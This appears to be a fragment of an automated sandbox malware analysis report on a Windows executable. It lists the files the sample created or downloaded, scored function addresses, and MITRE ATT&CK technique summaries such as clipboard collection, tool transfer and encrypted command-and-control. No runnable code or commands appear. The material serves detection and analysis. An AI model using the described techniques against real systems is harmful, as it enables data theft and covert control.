C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_5796.tmp.exe_4e3171f535a6494dc43afb4c71e86e2674cfa_0d9697c0_0b667e2a-4adc-448f-ba6c-164f50554589\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFAC6.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFF0D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFF3D.tmp.xml

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\ScreenUpdateSync[1].exe

C:\Users\user\AppData\Local\Temp\5796.tmp.exe

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Windows Analysis Report
xHj1N8ylIf.exe

Function 0040273E Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 134
networkfilesynchronizationCOMMON

Function 020B07A6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Function 0042FBD9 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 300
COMMONLIBRARYCODE

Function 00439CEC Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Function 020F003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Function 0040294E Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179
networkCOMMON

Function 00404959 Relevance: 9.1, APIs: 6, Instructions: 82
COMMON

Function 00404CD7 Relevance: 6.0, APIs: 4, Instructions: 29
COMMON

Function 004026AA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49
COMMON

Function 0042ADC4 Relevance: 4.6, APIs: 3, Instructions: 54
threadCOMMONLIBRARYCODE

Function 00431405 Relevance: 4.6, APIs: 3, Instructions: 50
COMMONLIBRARYCODE

Function 004028F7 Relevance: 4.5, APIs: 3, Instructions: 41
registryCOMMON

Function 0042AD24 Relevance: 4.5, APIs: 3, Instructions: 31
threadCOMMON

Function 004020E8 Relevance: 3.1, APIs: 2, Instructions: 125
windowCOMMON

Function 00401530 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 101
sleepCOMMON

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre